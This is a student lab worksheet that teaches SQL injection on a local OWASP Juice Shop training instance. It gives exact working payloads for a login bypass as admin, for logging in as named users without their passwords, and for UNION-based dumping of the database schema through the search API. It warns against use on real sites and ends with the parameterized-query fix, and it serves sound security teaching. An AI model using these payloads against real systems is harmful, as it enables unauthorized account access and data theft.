SQL Injection: Lab

Student worksheet · OWASP Juice Shop

You will log in as other users *without their password*, then read the database schema.

Open **Juice Shop**: `http://localhost:3000` (or the link your instructor gives you). Open the **Score Board** too: `http://localhost:3000/#/score-board`. Each challenge you solve turns green there.

Rule: do this only on our own Juice Shop. The same input on a real website, without written permission, is an offence under the IT Act.

The idea

A login checks your password with a query like this, with your email glued into the text:

```
SELECT * FROM Users WHERE email = '<your email>' AND password = '<hash>'
```

If you type a **quote** ’ into the email, you end the string early, and the rest of what you type becomes part of the query, not data. A comment `--` makes the database ignore everything after it, including the password check.

1. Login Admin (2 stars)

1. Go to the login page (**Account** → **Login**).
2. In **Email**, type exactly:

   ```
   ' OR 1=1--
   ```

   In **Password**, type anything (e.g. `x`). Click **Log in**.
3. You are logged in as `admin@juice-sh.op`. The Score Board shows **Login Admin** solved.

Why: the query becomes `... email = '' OR 1=1--' AND password = ...`. The quote ends the email, `OR 1=1` is always true, and `--` comments out the password check. You logged in with no password.

If stuck: “Invalid email or password”: make sure there are *two* hyphens and a space before them. Some browsers trim a trailing space; try `' OR 1=1- -` instead.

2. Login Jim (3 stars)

Jim is a real user, `jim@juice-sh.op`. You do not need to guess anything: just comment out the password.

1. On the login page, in **Email**, type exactly:

   ```
   jim@juice-sh.op'--
   ```

   Password: anything. Log in.
2. You are now Jim. The Score Board shows **Login Jim** solved.
3. Try **Login Bender** the same way with `bender@juice-sh.op'--`.

Why: the quote closes the string right after Jim’s email, and `--` hides the password check. If you know someone’s email, their password does not matter.

If stuck: It must be a real account email, spelled exactly. Copy `jim@juice-sh.op`, then add `'--`.

3. Database Schema (3 stars)

This attacks the product search, but **not through the search box on the page**. The search box is the Angular front-end; it changes special characters before sending them, so the injection fails there. You must send the payload straight to the back-end search **API**.

Find the API: open the developer tools (`F12`) → **Network**, search for anything in the box, and you will see the request `GET /rest/products/search?q=...`. That is the real endpoint. Put your payload there, in the browser's **address bar** (the browser encodes the spaces and quotes for you):

1. Find the column count. Open each of these in the address bar until the page *stops* showing an error:

   ```
   http://localhost:3000/rest/products/search?q=qwert')) UNION SELECT 1--
   http://localhost:3000/rest/products/search?q=qwert')) UNION SELECT 1,2--
   ...keep adding numbers (1,2,3 ...)
   ```

   It works at **ten** columns on this version.

2. Read the schema. Open this one line in the address bar:

   ```
   http://localhost:3000/rest/products/search?q=qwert')) UNION
      SELECT sql,2,3,4,5,6,7,8,9,10 FROM sqlite_master--
   ```

   (type it as one line, with no break). The JSON that comes back lists every table's `CREATE TABLE` statement, including `Users`. The Score Board shows **Database Schema** solved.

Why: `UNION` adds the rows of a *second* query to the first. `sqlite_master` is the database's catalogue of all tables. Hitting `/rest/products/search` directly skips the front-end, which is why the search box did not work.

If stuck: Always an error: the column count is wrong; add numbers one at a time. Nothing happens: make sure the address starts with `/rest/products/search?q=` and ends with `sqlite_master--`.

What you did

One mistake, three attacks: you made a condition always true (Login Admin), named a victim and skipped the password (Login Jim), and read another table through `UNION` (Database Schema). The cause is always the same: your input was glued into the query as *code*. The fix, which we see next, is to keep input as *data* with a parameterized query.